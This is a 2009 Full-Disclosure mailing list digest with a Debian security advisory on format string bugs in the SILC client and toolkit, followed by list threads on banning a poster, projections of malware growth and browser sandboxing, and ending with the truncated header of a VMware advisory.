Date: Fri, 4 Sep 2009 17:18:33 +0200
Subject: [Full-disclosure] [SECURITY] [DSA 1879-1] New
	silc-client/silc-toolkit packages fix arbitrary code execution
Message-ID: <20090904151833.GA22981@ngolde.de>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --------------------------------------------------------------------------
Debian Security Advisory DSA-1879-1                    security at debian.org
http://www.debian.org/security/                                 Nico Golde
September 4th, 2009                     http://www.debian.org/security/faq
- --------------------------------------------------------------------------

Package        : silc-client/silc-toolkit
Vulnerability  : several
Problem type   : remote
Debian-specific: no
CVE ID         : CVE-2008-7159 CVE-2008-7160 CVE-2009-3051

Several vulnerabilities have been discovered in the software suite for the
SILC protocol, a network protocol designed to provide end-to-end security
for conferencing services.  The Common Vulnerabilities and Exposures
project identifies the following problems:

An incorrect format string in sscanf() used in the ASN1 encoder to scan an
OID value could overwrite a neighbouring variable on the stack as the
destination data type is smaller than the source type on 64-bit. On 64-bit
architectures this could result in unexpected application behaviour or even
code execution in some cases (CVE-2008-7159).

Various format string vulnerabilities when handling parsed SILC messages
allow an attacker to execute arbitrary code with the rights of the victim
running the SILC client via crafted nick names or channel names containing
format strings (CVE-2009-3051).

An incorrect format string in a sscanf() call used in the HTTP server
component of silcd could result in overwriting a neighbouring variable on
the stack as the destination data type is smaller than the source type on
64-bit.  An attacker could exploit this by using crafted Content-Length
header values resulting in unexpected application behaviour or even code
execution in some cases (CVE-2008-7160).


silc-server doesn't need an update as it uses the shared library provided
by silc-toolkit. silc-client/silc-toolkit in the oldstable distribution
(etch) is not affected by this problem.

For the stable distribution (lenny), this problem has been fixed in
version 1.1.7-2+lenny1 of silc-toolkit and in version 1.1.4-1+lenny1
of silc-client.

For the testing distribution (squeeze), this problem will be fixed soon.

For the unstable distribution (sid), this problem has been fixed in
version 1.1.10-1 of silc-toolkit and version 1.1-2 of silc-client
(using libsilc from silc-toolkit since this upload).

We recommend that you upgrade your silc-toolkit/silc-client packages.

Upgrade instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 5.0 alias lenny
- --------------------------------

Debian (stable)
- ---------------

Stable updates are available for alpha, amd64, arm, armel, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc.

Source archives:

  http://security.debian.org/pool/updates/main/s/silc-toolkit/silc-toolkit_1.1.7-2+lenny1.dsc
    Size/MD5 checksum:     1430 eff8a733cf7e4db92296533394f42b22
  http://security.debian.org/pool/updates/main/s/silc-toolkit/silc-toolkit_1.1.7.orig.tar.gz
    Size/MD5 checksum:  2678989 4f2fa6678f4801fd7087b4f92dada6ee
  http://security.debian.org/pool/updates/main/s/silc-toolkit/silc-toolkit_1.1.7-2+lenny1.diff.gz
    Size/MD5 checksum:    16935 1e5d1151029379a7ba135799dc1cd166
  http://security.debian.org/pool/updates/main/s/silc-client/silc-client_1.1.4-1+lenny1.dsc
    Size/MD5 checksum:     1380 29601c3569b30b5e3d3307689c9c25f8
  http://security.debian.org/pool/updates/main/s/silc-client/silc-client_1.1.4.orig.tar.gz
    Size/MD5 checksum:  2202993 979d46c78ace2dade513f33ad0081e85
  http://security.debian.org/pool/updates/main/s/silc-client/silc-client_1.1.4-1+lenny1.diff.gz
    Size/MD5 checksum:    11593 efa43890947e5ba7a34631c689abcb60

alpha architecture (DEC Alpha)

  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dbg_1.1.7-2+lenny1_alpha.deb
    Size/MD5 checksum:   788516 0cd53c076d01f2ed2f3126385c2ec4e8
  http://security.debian.org/pool/updates/main/s/silc-client/irssi-plugin-silc_1.1.4-1+lenny1_alpha.deb
    Size/MD5 checksum:   720306 b21343d40a367e08b0e215b4a7575d4d
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dev_1.1.7-2+lenny1_alpha.deb
    Size/MD5 checksum:  2291652 9dc47295123af7ed95cdf10f2bb48f94
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2_1.1.7-2+lenny1_alpha.deb
    Size/MD5 checksum:   684328 674dd1d1da7fcbd87789fb53a4128bef
  http://security.debian.org/pool/updates/main/s/silc-client/silc_1.1.4-1+lenny1_alpha.deb
    Size/MD5 checksum:   602432 76d7f386a31c02a31fefb10167611dea

amd64 architecture (AMD x86_64 (AMD64))

  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dev_1.1.7-2+lenny1_amd64.deb
    Size/MD5 checksum:  2010710 669d1bd65dc987f4e27263ddd427409d
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dbg_1.1.7-2+lenny1_amd64.deb
    Size/MD5 checksum:   816352 569993e597e2bfb086558d79cf404404
  http://security.debian.org/pool/updates/main/s/silc-client/silc_1.1.4-1+lenny1_amd64.deb
    Size/MD5 checksum:   575504 8961ff37ee74c66f26ad8115e152e8a8
  http://security.debian.org/pool/updates/main/s/silc-client/irssi-plugin-silc_1.1.4-1+lenny1_amd64.deb
    Size/MD5 checksum:   682922 69d0986a3ee58796abcbd49bb67596e7
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2_1.1.7-2+lenny1_amd64.deb
    Size/MD5 checksum:   636202 0be0cf64803db8179887baa654636a05

arm architecture (ARM)

  http://security.debian.org/pool/updates/main/s/silc-client/silc_1.1.4-1+lenny1_arm.deb
    Size/MD5 checksum:   530304 ef44fd7a87532a5eaa233bf8ff0fe35c
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dev_1.1.7-2+lenny1_arm.deb
    Size/MD5 checksum:  1970220 af591e1b1256e237bc3874dc1436dcf8
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2_1.1.7-2+lenny1_arm.deb
    Size/MD5 checksum:   596952 a3f7b72e6f6afa8b112a976f81402211
  http://security.debian.org/pool/updates/main/s/silc-client/irssi-plugin-silc_1.1.4-1+lenny1_arm.deb
    Size/MD5 checksum:   637190 1918f391d001728b090d1eccd29a1591
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dbg_1.1.7-2+lenny1_arm.deb
    Size/MD5 checksum:   729096 43b9f94059b92f89d6c0b369d4d0af03

armel architecture (ARM EABI)

  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dev_1.1.7-2+lenny1_armel.deb
    Size/MD5 checksum:  1962612 4decc400c81cc614b92e4a1ad30ed1af
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dbg_1.1.7-2+lenny1_armel.deb
    Size/MD5 checksum:   733882 423ec8e7059493bc0fc18e82b806f285
  http://security.debian.org/pool/updates/main/s/silc-client/silc_1.1.4-1+lenny1_armel.deb
    Size/MD5 checksum:   532724 29c468a23b0ea6ed185011b32301a62f
  http://security.debian.org/pool/updates/main/s/silc-client/irssi-plugin-silc_1.1.4-1+lenny1_armel.deb
    Size/MD5 checksum:   633846 fb04296b8cafd4e7d963fa7b76aaeb72
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2_1.1.7-2+lenny1_armel.deb
    Size/MD5 checksum:   593904 35f18b5885bbc7d0c3d8266f80b4972e

hppa architecture (HP PA RISC)

  http://security.debian.org/pool/updates/main/s/silc-client/irssi-plugin-silc_1.1.4-1+lenny1_hppa.deb
    Size/MD5 checksum:   706862 f1d684f275d2856b5901c6ba281e2c6c
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dev_1.1.7-2+lenny1_hppa.deb
    Size/MD5 checksum:  2071298 faf1c7e0ce3ecb2d8f7b7bfda1a8c8e8
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dbg_1.1.7-2+lenny1_hppa.deb
    Size/MD5 checksum:   748138 bca4aef69adacc2ad3916dec73fa39e2
  http://security.debian.org/pool/updates/main/s/silc-client/silc_1.1.4-1+lenny1_hppa.deb
    Size/MD5 checksum:   580570 17528232c8afce64d1001ee70ed51cfd
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2_1.1.7-2+lenny1_hppa.deb
    Size/MD5 checksum:   657840 33e4113f1fe83f46d37fbc402c75cdd2

i386 architecture (Intel ia32)

  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dev_1.1.7-2+lenny1_i386.deb
    Size/MD5 checksum:  1958352 6e52615a8b32b370b494137f0300feb2
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dbg_1.1.7-2+lenny1_i386.deb
    Size/MD5 checksum:   757594 d497653d4099715dd6fd93e05b040628
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2_1.1.7-2+lenny1_i386.deb
    Size/MD5 checksum:   613194 ced6311eecca14af5769eb5f8b0c31c5
  http://security.debian.org/pool/updates/main/s/silc-client/irssi-plugin-silc_1.1.4-1+lenny1_i386.deb
    Size/MD5 checksum:   654282 ec5871f734bdbe786fea918239f03e54
  http://security.debian.org/pool/updates/main/s/silc-client/silc_1.1.4-1+lenny1_i386.deb
    Size/MD5 checksum:   535140 c337b0f6e4af21cbdf4a78e69f064469

ia64 architecture (Intel ia64)

  http://security.debian.org/pool/updates/main/s/silc-client/irssi-plugin-silc_1.1.4-1+lenny1_ia64.deb
    Size/MD5 checksum:   831536 62b8713afd7d9fbe131991906b0dbb97
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2_1.1.7-2+lenny1_ia64.deb
    Size/MD5 checksum:   775238 956a12f89fa6726c7b3a6a7bcb75468b
  http://security.debian.org/pool/updates/main/s/silc-client/silc_1.1.4-1+lenny1_ia64.deb
    Size/MD5 checksum:   736840 0204a4e63142577df5144a6130a5ce2c
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dbg_1.1.7-2+lenny1_ia64.deb
    Size/MD5 checksum:   691606 01a3e15fdbe685d4f07e3bf03c912315
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dev_1.1.7-2+lenny1_ia64.deb
    Size/MD5 checksum:  1798590 aa499f0a6891b564a8a8c710416c609d

mipsel architecture (MIPS (Little Endian))

  http://security.debian.org/pool/updates/main/s/silc-client/silc_1.1.4-1+lenny1_mipsel.deb
    Size/MD5 checksum:   543784 d03b80092bd257a9063583688dccb56a
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2_1.1.7-2+lenny1_mipsel.deb
    Size/MD5 checksum:   596180 3fd8c7843ec4bbd84b5e0e6f190caa52
  http://security.debian.org/pool/updates/main/s/silc-client/irssi-plugin-silc_1.1.4-1+lenny1_mipsel.deb
    Size/MD5 checksum:   629238 d61e7398ccfc2bf304698c4ba753dca0
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dbg_1.1.7-2+lenny1_mipsel.deb
    Size/MD5 checksum:   766454 d1da8cc53723cad21cbbae1509202fb7
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dev_1.1.7-2+lenny1_mipsel.deb
    Size/MD5 checksum:  1648330 b53fbf48b759f8ed6e73f57f5b80ec96

powerpc architecture (PowerPC)

  http://security.debian.org/pool/updates/main/s/silc-client/irssi-plugin-silc_1.1.4-1+lenny1_powerpc.deb
    Size/MD5 checksum:   676340 30c793888c95438921365283010c93d1
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dbg_1.1.7-2+lenny1_powerpc.deb
    Size/MD5 checksum:   759318 d06fa7e4b07582a55db2af4ea3c4b59f
  http://security.debian.org/pool/updates/main/s/silc-client/silc_1.1.4-1+lenny1_powerpc.deb
    Size/MD5 checksum:   568176 3ab7e328f4b77832efbd25aac2ed9411
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2_1.1.7-2+lenny1_powerpc.deb
    Size/MD5 checksum:   641016 a324bb31b852d1263d368e5c52c9ad57
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dev_1.1.7-2+lenny1_powerpc.deb
    Size/MD5 checksum:  1606250 6064261f608218c011229c2ac3e955bb

s390 architecture (IBM S/390)

  http://security.debian.org/pool/updates/main/s/silc-client/irssi-plugin-silc_1.1.4-1+lenny1_s390.deb
    Size/MD5 checksum:   688236 c74f47601419f18507d11e8ed96b5fce
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2_1.1.7-2+lenny1_s390.deb
    Size/MD5 checksum:   647672 6fc21eb1bac7df10cf097ad9946ff73f
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dbg_1.1.7-2+lenny1_s390.deb
    Size/MD5 checksum:   767682 dd900105226d9b8477144394d9db91f7
  http://security.debian.org/pool/updates/main/s/silc-client/silc_1.1.4-1+lenny1_s390.deb
    Size/MD5 checksum:   577372 0c664657507445643e307f75b7591b11
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dev_1.1.7-2+lenny1_s390.deb
    Size/MD5 checksum:  1597620 f46831f1d0039b369670d5d0c2e4dfc7

sparc architecture (Sun SPARC/UltraSPARC)

  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2_1.1.7-2+lenny1_sparc.deb
    Size/MD5 checksum:   604228 37f7538fc5407a74d561a7e77d5fd063
  http://security.debian.org/pool/updates/main/s/silc-client/irssi-plugin-silc_1.1.4-1+lenny1_sparc.deb
    Size/MD5 checksum:   644262 0dc6b8b64ba99bfd73b9f0209ef443da
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dev_1.1.7-2+lenny1_sparc.deb
    Size/MD5 checksum:  1986452 ccea49c8bda9cd6d1199668a34456eda
  http://security.debian.org/pool/updates/main/s/silc-client/silc_1.1.4-1+lenny1_sparc.deb
    Size/MD5 checksum:   542290 18a8c0d447f2f57496c283480b3194e7
  http://security.debian.org/pool/updates/main/s/silc-toolkit/libsilc-1.1-2-dbg_1.1.7-2+lenny1_sparc.deb
    Size/MD5 checksum:   707320 e46a755fa1382dbfd179a7d50b129508


  These files will probably be moved into the stable distribution on
  its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce at lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkqhL8kACgkQHYflSXNkfP8oNwCfTn3RGpcOGhRoe5yMcA2Vsgmb
KEQAoJVMeF3cRw0Lf5fRKsqRFsrIB81S
=lqqc
-----END PGP SIGNATURE-----


From exibar at thelair.com  Fri Sep  4 18:10:15 2009
From: exibar at thelair.com (Exibar)
Date: Fri, 4 Sep 2009 13:10:15 -0400
Subject: [Full-disclosure] Blonde moment for the list administrator
References: <20090904133757.29856B8043@smtp.hushmail.com>
Message-ID: <002f01ca2d82$9472cb70$1214dd80@corp.emc.com>

Yah, Blonde moment when he didnt' ban the idiot sooner...

 but obviously it hasn't done any good, as you're still here bothering us 
with your useless banter,  aren't you "n3td3v of many names"

  Exibar


----- Original Message ----- 
From: <full-censorship at hushmail.com>
To: <full-disclosure at lists.grok.org.uk>
Sent: Friday, September 04, 2009 9:37 AM
Subject: [Full-disclosure] Blonde moment for the list administrator


>i think john was having a "blonde moment" when he banned n3td3v.
>
> "a momentary lapse in concentration, resulting in an embarrassing
> situation."
>
> we're supposed to be attracting hackers to the list not banning
> them.
>
> lawls
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/ 


From quanticle at gmail.com  Fri Sep  4 18:27:20 2009
From: quanticle at gmail.com (Rohit Patnaik)
Date: Fri, 04 Sep 2009 12:27:20 -0500
Subject: [Full-disclosure] windows future
In-Reply-To: <42092.1252082116@turing-police.cc.vt.edu>
References: <4A967FCD.4863.2312FB62@stuart.cyberdelix.net>	<4A97EA8D.12326.289BF53C@stuart.cyberdelix.net>	<4AA1283B.30501.E988958@stuart.cyberdelix.net>
	<42092.1252082116@turing-police.cc.vt.edu>
Message-ID: <4AA14DF8.30901@gmail.com>

And that's also ignoring the fact that you don't have to scan for things 
that you know you're not exposed/vulnerable to. For example, I don't 
take precautions against Feline Immunodeficiency Virus, because I know 
it can't infect humans. I also don't take precautions against Ebola or 
Smallpox because the chance I'd be exposed to them is vanishingly small.

In the same way, I don't worry about IIS threats - I'm not running an 
IIS server. I'm not worried about threats to Outlook - its not my mail 
client.  I don't worry about boot sector virii from the late 80s/early 
90s - they're far too rare to spend time on.  Likewise, I don't care 
about threats against which I've already applied vendor patches or 
service packs.  The total number of threats may be growing 
exponentially, but once you factor in the growing immunity of my 
computer system to said threats, the number of outstanding threats 
(things for which I don't have immunity, and are capable of infecting my 
machine) drops to a much more manageable level.

--Rohit Patnaik

Valdis.Kletnieks at vt.edu wrote:
> On Fri, 04 Sep 2009 15:46:19 BST, lsi said:
>
>   
>> - approximate date when number of NEW threats reached 1 Million: 2008
>>
>> - approximate date when number of NEW threats will reach 1 Billion: 2015
>>
>> - approximate date when number of NEW threats will reach 2 Billion: 2016
>>     
>
> This is assuming an exponential growth model, when there's no realistic
> reason to believe it to be so.  There are however good reasons to expect
> that the correct model is the "logistics curve" (slow growth at first,
> a steep middle section, then flattening out asymptotic to a horizontal line).
>
> For starters, new threats have to come from *somewhere*, and there's only
> a limited supply of dark-side code hackers, and a limited supply of people
> worth fleecing (sure, OLPC may distribute 100M laptops - but those are going to
> people who can't be monetized easily).  From whence will the 1 billion
> new threats in the 2015-16 span come from? Who will create these, and who will
> make money from them?  At what point will some of the marginal players leave
> the game and find other avenues of making money?  Remember - if the threat
> pool is 100,000, and you have 1,000 threats, you have 1% of the market, and
> can probably live well off that 1% if monetized.  But if you have 1,000 threats
> in a pool of a billion, you're a marginal player and not likely to get rich
> fast doing that.
>
>   
>> - charts showing this: 
>> http://www.cyberdelix.net/files/malware_mutation_projection.pdf
>>
>> - will the AV companies be able to classify 1 billion new threats per 
>> year? that is 2.739 MILLION new threats per DAY (over 1900 new 
>> threats per minute).
>>
>> - will your computer cope with scanning every EXE, DLL, PIF etc 1 
>> billion times, every time you use them?
>>     
>
> You don't have to scan it a billion times. You need to scan it *once* for
> one billion attacks.  And proper pattern-matching should help a lot here - quite
> often, you'll have 2,934 exploit codes in the wild, all using the same attack
> code lifted from Metasploit or milw0rm or whatever.  So only one check is
> needed.  A bigger danger here is if we start seeing *single* threats that
> include a really good real-time polymorphism/obfuscator - *that* could really
> suck.
>
>   
>> - aside from the theoretical limits imposed by hardware and software, 
>> there is one extra limit, imposed by users.  Users will not tolerate 
>> machines operating slowly, and will seek alternative platforms well 
>> before 100% CPU utilisation (either as a direct result of the size of 
>> the blacklist, or indirectly caused by swapping due to low RAM).  
>> This user limit might be lower than 20% CPU utilisation.  If users 
>> figure out that 20% of their time is being wasted, and rising fast, 
>> they will run for the exit.
>>     
>
> Interesting statistic - year before last, around 10% of all new computer
> purchases were replacements for malware-infested boxes.  Just buying a new
> one was easier/cheaper than trying to fix the old one for a lot of people.
>
> Second interesting statistic - the vast majority of that 10% ended up using
> the exact same operating system.
>
> So even when it's well past the 20% mark and the box is basically unusable,
> they *still* don't run for the exit.
>   
> ------------------------------------------------------------------------
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/


From full-censorship at hushmail.com  Fri Sep  4 18:40:25 2009
From: full-censorship at hushmail.com (full-censorship at hushmail.com)
Date: Fri, 04 Sep 2009 17:40:25 +0000
Subject: [Full-disclosure] Blonde moment for the list administrator
Message-ID: <20090904174025.A88A5B8043@smtp.hushmail.com>

Exibar <exibar at thelair.com> wrote:
>Yah, Blonde moment when he didnt' ban the idiot sooner...
>
> but obviously it hasn't done any good, as you're still here 
>bothering us 
>with your useless banter,  aren't you "n3td3v of many names"

i thought n3td3v was <xploitable at gmail.com> followed by 
<andrew.wallace at rocketmail.com>, the rest irritable trolls 
impersonating him?


From stuart at cyberdelix.net  Fri Sep  4 18:44:59 2009
From: stuart at cyberdelix.net (lsi)
Date: Fri, 04 Sep 2009 18:44:59 +0100
Subject: [Full-disclosure] windows future
In-Reply-To: <42092.1252082116@turing-police.cc.vt.edu>
References: <4A967FCD.4863.2312FB62@stuart.cyberdelix.net>,
	<Your message of "Fri, 04 Sep 2009 15:46:19 BST."
	<4AA1283B.30501.E988958@stuart.cyberdelix.net> >,
	<42092.1252082116@turing-police.cc.vt.edu>
Message-ID: <4AA1521B.18632.F3C1D90@stuart.cyberdelix.net>

> > - approximate date when number of NEW threats will reach 1 Billion: 2015

> This is assuming an exponential growth model, when there's no realistic
> reason to believe it to be so.  

The reason to believe the exponential model will remain valid, is 
that it is the model that is currently valid.  A different model will 
need to explain how the existing exponential curve is derailed.

> There are however good reasons to expect
> that the correct model is the "logistics curve" (slow growth at first,
> a steep middle section, then flattening out asymptotic to a horizontal line).

> For starters, new threats have to come from *somewhere* [...] From
> whence will the 1 billion new threats in the 2015-16 span come from?
> Who will create these, 

Did you see the link I posted to the "Evolvable Malware" PPT?  
Mutation will be automated.  Resistance is useless... ;)

> and who will make money from them?

Presumably, the same gangs who do so now.  They won't need to recruit 
billions of new coders to make their billions of new variants.  It'll 
all be generated overnight, by their botnet, which, when it's not 
sending spam, etc, will be "revectoring" itself, using the GP 
algorithms previously noted.

> At what point will some of the marginal players leave
> the game and find other avenues of making money?

I answered this one already as well... they will leave soon after the 
number of vulnerable hosts starts to fall, which will happen either 
though mass extinction (due to malware overload) or due to re-
deployment with a Real OS.

> [...]  A bigger danger here is if we start seeing *single* threats
> that include a really good real-time polymorphism/obfuscator - *that*
> could really suck. 

But Valdis old chap, that is exactly what the GP algorithms do, the 
proof-of-concept is already out there (see the GP PPT).

> Interesting statistic - year before last, around 10% of all new computer
> purchases were replacements for malware-infested boxes.  Just buying a new
> one was easier/cheaper than trying to fix the old one for a lot of people.

These numbers are probably skewed by some kind of newbie effect.  
Once you have had your machine for a while, as I'm sure you know, 
simply dumping it is not always an option.  Businesses, for example,
may simply be unable to dump an old system, as it runs some legacy 
something, which just happens to be mission-critical.

> Second interesting statistic - the vast majority of that 10% ended up using
> the exact same operating system.
> 
> So even when it's well past the 20% mark and the box is basically unusable,
> they *still* don't run for the exit.

They're newbies.  You wait till they've done that 5 times.  Then ask 
them, are you a happy bunny... and how much money have you spent, in 
total...

- I have already decommissioned one server, due to malware growth - 
it was an old 486 machine, whose sole purpose was to serve AV updates 
for a client's LAN.  All went well for a few years, however the hard 
drive started to fill with signature updates.  So, I upgraded the 
drive, however due to a BIOS limitation (or was that NT4? FAT16?), 
the maximum size I could use was 2Gb.  That would have filled as 
well, except I moved the AV server software onto their main server 
(and proceeded to fill its disk instead, but that's another story) - 
and sent the old 486 to recycling...

So this old server, you might think of course, it's a mere 486, to 
which I reply, and a canary is also a weakling.  That is why people 
put them in mines, because they are very sensitive to carbon monoxide 
levels, and drop dead well before humans do.  So when the canary 
dies, the mine is evacuated.  

This old server was a canary.  Its tight resource limits meant it was 
very sensitive to malware levels.  It dropped dead several years ago 
now. The NaN% on the Virus Bulletin site is another canary.  Sure, 
this can probably be fixed, weak coding you say - again, I say this 
weakness is merely the low-hanging fruit, the first victims of a 
rising tide, which is not even close to its peak.  

Stu

---
Stuart Udall
stuart at at cyberdelix.dot net - http://www.cyberdelix.net/

--- 
 * Origin: lsi: revolution through evolution (192:168/0.2)


From randallm at fidmail.com  Fri Sep  4 19:05:24 2009
From: randallm at fidmail.com (RandallM)
Date: Fri, 4 Sep 2009 13:05:24 -0500
Subject: [Full-disclosure] why not a sandbox
Message-ID: <a85ce8a70909041105w5a763bd7g3a05b0ebc8f8eac0@mail.gmail.com>

how come we just can't sandbox the browser in away from the system.
its the users that just get gmail and click links, watch youtube vids
and check FaceBook and Mypace that infect the network!

-- 
been great, thanks
a.k.a System


From full-disclosure at nullamatix.com  Fri Sep  4 19:52:41 2009
From: full-disclosure at nullamatix.com (Guy)
Date: Fri, 4 Sep 2009 14:52:41 -0400
Subject: [Full-disclosure] why not a sandbox
In-Reply-To: <a85ce8a70909041105w5a763bd7g3a05b0ebc8f8eac0@mail.gmail.com>
References: <a85ce8a70909041105w5a763bd7g3a05b0ebc8f8eac0@mail.gmail.com>
Message-ID: <88e844b40909041152y3f55214es97d453d9d806d084@mail.gmail.com>

On Fri, Sep 4, 2009 at 2:05 PM, RandallM<randallm at fidmail.com> wrote:
> how come we just can't sandbox the browser in away from the system.

Who or what says you can't?

Guy


From frank2 at dc949.org  Fri Sep  4 20:04:17 2009
From: frank2 at dc949.org (frank^2)
Date: Fri, 4 Sep 2009 12:04:17 -0700
Subject: [Full-disclosure] why not a sandbox
In-Reply-To: <a85ce8a70909041105w5a763bd7g3a05b0ebc8f8eac0@mail.gmail.com>
References: <a85ce8a70909041105w5a763bd7g3a05b0ebc8f8eac0@mail.gmail.com>
Message-ID: <8d79f4b50909041204r77530857o3f9f0be4756c753e@mail.gmail.com>

hmmm. yes. quite.


From jmenerick at netsuite.com  Fri Sep  4 20:31:36 2009
From: jmenerick at netsuite.com (John Menerick)
Date: Fri, 4 Sep 2009 12:31:36 -0700
Subject: [Full-disclosure] why not a sandbox
In-Reply-To: <a85ce8a70909041105w5a763bd7g3a05b0ebc8f8eac0@mail.gmail.com>
References: <a85ce8a70909041105w5a763bd7g3a05b0ebc8f8eac0@mail.gmail.com>
Message-ID: <67E5941F-AE5C-43C3-A2B9-4781FDEFDF5D@netsuite.com>

Many people, institutions, and programs do just this.  No reason why  
it can't be done.


John Menerick


On Sep 4, 2009, at 11:05 AM, RandallM wrote:

> how come we just can't sandbox the browser in away from the system.
> its the users that just get gmail and click links, watch youtube vids
> and check FaceBook and Mypace that infect the network!
>
> -- 
> been great, thanks
> a.k.a System
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/


NOTICE: This email and any attachments may contain confidential and proprietary information of NetSuite Inc. and is for the sole use of the intended recipient for the stated purpose.  Any improper use or distribution is prohibited.  If you are not the intended recipient, please notify the sender; do not review, copy or distribute; and promptly delete or destroy all transmitted information.  Please note that all communications and information transmitted through this email system may be monitored by NetSuite or its agents and that all incoming email is automatically scanned by a third party spam and filtering service.


From kz20fl at googlemail.com  Fri Sep  4 20:35:04 2009
From: kz20fl at googlemail.com (James Rankin)
Date: Fri, 4 Sep 2009 20:35:04 +0100
Subject: [Full-disclosure] why not a sandbox
In-Reply-To: <a85ce8a70909041105w5a763bd7g3a05b0ebc8f8eac0@mail.gmail.com>
References: <a85ce8a70909041105w5a763bd7g3a05b0ebc8f8eac0@mail.gmail.com>
Message-ID: <8826b4700909041235k1dd6f5b5p6a826faf12f36a6d@mail.gmail.com>

You could try VMWare to do something like this, for starters

http://www.vmware.com/appliances/directory/80

There are many other ways to achieve this aim. As others say, how come you
think you can't?

2009/9/4 RandallM <randallm at fidmail.com>

> how come we just can't sandbox the browser in away from the system.
> its the users that just get gmail and click links, watch youtube vids
> and check FaceBook and Mypace that infect the network!
>
> --
> been great, thanks
> a.k.a System
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



-- 
"On two occasions...I have been asked, 'Pray, Mr Babbage, if you put into
the machine wrong figures, will the right answers come out?' I am not able
rightly to apprehend the kind of confusion of ideas that could provoke such
a question."

http://raythestray.blogspot.com
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090904/4c5889c4/attachment.html 

From kurth.bemis at gmail.com  Fri Sep  4 21:12:55 2009
From: kurth.bemis at gmail.com (Kurth Bemis)
Date: Fri, 04 Sep 2009 16:12:55 -0400
Subject: [Full-disclosure] why not a sandbox
In-Reply-To: <a85ce8a70909041105w5a763bd7g3a05b0ebc8f8eac0@mail.gmail.com>
References: <a85ce8a70909041105w5a763bd7g3a05b0ebc8f8eac0@mail.gmail.com>
Message-ID: <1252095175.4308.47.camel@hkb-desktop>

Check out:

http://www.sandboxie.com/
http://www.xenocode.com/Browsers/

~k

On Fri, 2009-09-04 at 13:05 -0500, RandallM wrote:
> how come we just can't sandbox the browser in away from the system.
> its the users that just get gmail and click links, watch youtube vids
> and check FaceBook and Mypace that infect the network!
> 


From full-censorship at hushmail.com  Fri Sep  4 22:18:04 2009
From: full-censorship at hushmail.com (full-censorship at hushmail.com)
Date: Fri, 04 Sep 2009 21:18:04 +0000
Subject: [Full-disclosure] Blonde moment for the list administrator
Message-ID: <20090904211804.D83ECB0048@smtp.hushmail.com>

Exibar <exibar at thelair.com> wrote:
>Yah, Blonde moment when he didnt' ban the idiot sooner...

all hackers should be welcome here *all* hackers even the stupid 
ones.


From security at vmware.com  Sat Sep  5 01:40:13 2009
From: security at vmware.com (VMware Security team)
Date: Fri, 04 Sep 2009 17:40:13 -0700
Subject: [Full-disclosure] VMSA-2009-0012 VMware Movie Decoder,
 VMware Workstation, VMware Player, and VMware ACE resolve security issues.
Message-ID: <4AA1B36D.2070502@vmware.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
